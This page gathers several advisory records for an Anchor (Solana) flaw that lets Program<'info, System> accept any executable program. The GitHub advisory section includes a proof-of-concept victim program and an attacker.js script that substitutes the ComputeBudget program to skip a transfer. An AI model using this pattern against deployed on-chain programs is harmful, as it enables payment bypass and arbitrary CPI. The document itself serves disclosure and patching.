Anchor: Program<'info, System> is not properly validated

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Anchor is a framework providing several convenient developer tools for writing Solana programs. From 1.0.0 to before 1.0.2, an logic error causes anchor programs to accept any program id when requiring the system program id, causing false assumptions resulting in potential arbitrary cpi in programs that invoke system program instructions. In the TryFrom<&'a AccountInfo<'a>> implementation for Program<'a, T>, the id of T is compared with Pubkey::default() to check whether anchor should allow any executable account, or a specific account, because when no T is supplied, T defaults to (), which implements Id::id() by returning Pubkey::default(). This results in T = () and T = System (which has Pubkey::default() as the id) having the same behavior, both allow any executable account. Programs built with anchor assume that the anchor runtime verifies passed in programs of type Program<'a, System> are in fact the system program. This false assumption can lead to arbitrary CPI or payment bypassing when programs try making CPI calls to the system program using the passed in system program due to the fact that the attacker can pass in any program instead of the system program. This vulnerability is fixed in 1.0.2.

Source published

27 May 2026 20:52:23 UTC

Source modified

28 May 2026 13:05:18 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 8.2 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

Anchor is a framework providing several convenient developer tools for writing Solana programs. From 1.0.0 to before 1.0.2, an logic error causes anchor programs to accept any program id when requiring the system program id, causing false assumptions resulting in potential arbitrary cpi in programs that invoke system program instructions. In the TryFrom<&'a AccountInfo<'a>> implementation for Program<'a, T>, the id of T is compared with Pubkey::default() to check whether anchor should allow any executable account, or a specific account, because when no T is supplied, T defaults to (), which implements Id::id() by returning Pubkey::default(). This results in T = () and T = System (which has Pubkey::default() as the id) having the same behavior, both allow any executable account. Programs built with anchor assume that the anchor runtime verifies passed in programs of type Program<'a, System> are in fact the system program. This false assumption can lead to arbitrary CPI or payment bypassing when programs try making CPI calls to the system program using the passed in system program due to the fact that the attacker can pass in any program instead of the system program. This vulnerability is fixed in 1.0.2.

Source published

May 27, 2026, 8:52:23 PM (timezone not stated)

Source modified

May 28, 2026, 1:05:18 PM (timezone not stated)

Observed here

28 Oct 2026 06:10:43 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 8.2 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

Anchor is a framework providing several convenient developer tools for writing Solana programs. From 1.0.0 to before 1.0.2, an logic error causes anchor programs to accept any program id when requiring the system program id, causing false assumptions resulting in potential arbitrary cpi in programs that invoke system program instructions. In the TryFrom<&'a AccountInfo<'a>> implementation for Program<'a, T>, the id of T is compared with Pubkey::default() to check whether anchor should allow any executable account, or a specific account, because when no T is supplied, T defaults to (), which implements Id::id() by returning Pubkey::default(). This results in T = () and T = System (which has Pubkey::default() as the id) having the same behavior, both allow any executable account. Programs built with anchor assume that the anchor runtime verifies passed in programs of type Program<'a, System> are in fact the system program. This false assumption can lead to arbitrary CPI or payment bypassing when programs try making CPI calls to the system program using the passed in system program due to the fact that the attacker can pass in any program instead of the system program. This vulnerability is fixed in 1.0.2.

Source published

27 May 2026 21:16:18 UTC

Source modified

26 Oct 2026 12:10:00 UTC

Observed here

27 Oct 2026 11:12:23 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 8.2 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

### Summary An logic error causes anchor programs to accept any program id when requiring the system program id, causing false assumptions resulting in potential arbitrary cpi in programs that invoke system program instructions. ### Details In the TryFrom<&'a AccountInfo<'a>> implementation for Program<'a, T>, the id of T is compared with Pubkey::default() to check whether anchor should allow any executable account, or a specific account, because when no T is supplied, T defaults to (), which implements Id::id() by returning Pubkey::default(). This results in T = () and T = System (which has Pubkey::default() as the id) having the same behavior, both allow any executable account. Programs built with anchor assume that the anchor runtime verifies passed in programs of type Program<'a, System> are in fact the system program. This false assumption can lead to arbitrary CPI or payment bypassing when programs try making CPI calls to the system program using the passed in system program due to the fact that the attacker can pass in any program instead of the system program. https://github.com/solana-foundation/anchor/blob/5ff3f96eeda91cc54b7fa525631eb8c1394fda04/lang/src/accounts/program.rs#L148-L163 ### PoC Build and deploy the following anchor program: ```rs /// victim.rs /// an anchor program that uses the system program in some way. use anchor_lang::prelude::*; use anchor_lang::prelude::program::invoke; use anchor_lang::prelude::instruction::Instruction; #[derive(Accounts)] pub struct Initialize<'info> { #[account(mut)] pub sender: Signer<'info>, #[account(mut)] pub recipient: SystemAccount<'info>, // the "System" part here should ensure that callers can only pass the system program. pub system_program: Program<'info, System>, } pub fn handler(ctx: Context<Initialize>, amount: u64) -> Result<()> { // this should be the system program id, but due to an issue in the validation logic, this could be any program id. msg!("System program: {:?}", ctx.accounts.system_program.key()); // construct a transfer instruction // note that not only raw instructions, but also any other instruction // builders that properly forward the passed in program id are vulnerable. let mut data = Vec::new(); data.extend_from_slice(&[2, 0, 0, 0]); // transfer discriminator data.extend_from_slice(&amount.to_le_bytes()); // amount let accounts = vec![ AccountMeta::new(ctx.accounts.sender.key(), true), AccountMeta::new(ctx.accounts.recipient.key(), false), ]; let ix = Instruction { program_id: ctx.accounts.system_program.key(), accounts, data, }; let account_infos = [ ctx.accounts.sender.to_account_info(), ctx.accounts.recipient.to_account_info(), ctx.accounts.system_program.to_account_info(), ]; // invoke the transfer instruction invoke(&ix, &account_infos)?; Ok(()) } ``` Run the following javascript code in the project after installing @coral-xyz/anchor and @solana/web3.js ```js /// attacker.js /// a script that exploits the vulnerability in the victim program, in this case it simply causes the transfer to never happen /// while the victim program thinks it has happened. import { Connection, Keypair, PublicKey, SystemProgram } from "@solana/web3.js"; import { AnchorProvider, Program, Wallet } from "@coral-xyz/anchor"; import BN from "bn.js"; import fs from "fs"; import idl from "./victim_idl.json" with { type: "json" }; // the idl of the victim program, generated by `anchor build` const keypair = Keypair.generate(); const receiver = Keypair.generate(); const connection = new Connection("http://localhost:8899", "confirmed"); const provider = new AnchorProvider(connection, new Wallet(keypair), {}); async function airdrop(publicKey, amount) { const tx = await connection.requestAirdrop(publicKey, amount); await connection.confirmTransaction(tx); console.log(`Airdropped ${amount} lamports to ${publicKey.toBase58()}`); } async function printBalance(publicKey) { const balance = await connection.getBalance(publicKey); console.log(`Balance of ${publicKey.toBase58()}: ${balance} lamports`); } await airdrop(keypair.publicKey, 1e9); await airdrop(receiver.publicKey, 1e9); const program = new Program(idl, provider); const tx = await program.methods .initialize(new BN(1e9 / 2)) .accounts({ sender: keypair.publicKey, recipient: receiver.publicKey, // we pass the compute budget program instead of the system program // the victim will call the compute budget program thinking it's the system program, and the transfer will never happen. // if we comment this out, anchor will pass in the system program and the transfer will succeed systemProgram: new PublicKey("ComputeBudget111111111111111111111111111111"), }) .rpc(); console.log("Transaction signature:", tx); await connection.confirmTransaction(tx); // Check balances await printBalance(keypair.publicKey); await printBalance(receiver.publicKey); /* expected balances: 499995000 1500000000 actual balances: 999995000 1000000000 */ ``` Inspect the solana validator logs and javascript output, you'll see the program did not transfer any lamports. If you uncomment the systemProgram account override in the javascript code and rerun it, you'll see the victim program behaves as expected and lamports are actually transferred. ### Impact This is an account validation bypass, impacting on-chain programs that rely on the system program. It allows for potential CPI and payment bypasses, amongst other issues such as accounts being created through CPI that should be owned by system program now being owned by an attacker controlled program.

Source published

13 May 2026 15:31:49 UTC

Source modified

9 Jun 2026 00:00:17 UTC

Observed here

24 Oct 2026 13:19:54 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

Publisher rating · HIGH

Affected versions of `anchor-lang` did not properly validate accounts declared as `Program<'info, System>`. The generic `Program<T>` validation path used `Pubkey::default()` as a sentinel to decide whether any executable program should be accepted. Since the system program id is also the default pubkey, `Program<'info, System>` was treated like the untyped `Program<'info>` case and accepted any executable program account. Programs commonly rely on `Program<'info, System>` to ensure that CPI calls and instruction builders target the real Solana system program. With the faulty validation, an attacker could supply another executable program where the system program was expected, causing downstream logic to make false assumptions about payments, account creation, or other system-program CPIs. The issue was fixed in `anchor-lang` 1.0.2 by separating the typed `Program<T>` validation path from the untyped `Program<()>` path, so `Program<'info, System>` now checks the provided account key against the system program id. Users should upgrade to `anchor-lang` 1.0.2 or later.

Source published

7 May 2026 12:00:00 UTC

Source modified

12 Oct 2026 18:00:13 UTC

Observed here

24 Oct 2026 13:19:54 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · OSV · upstream source license applies. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N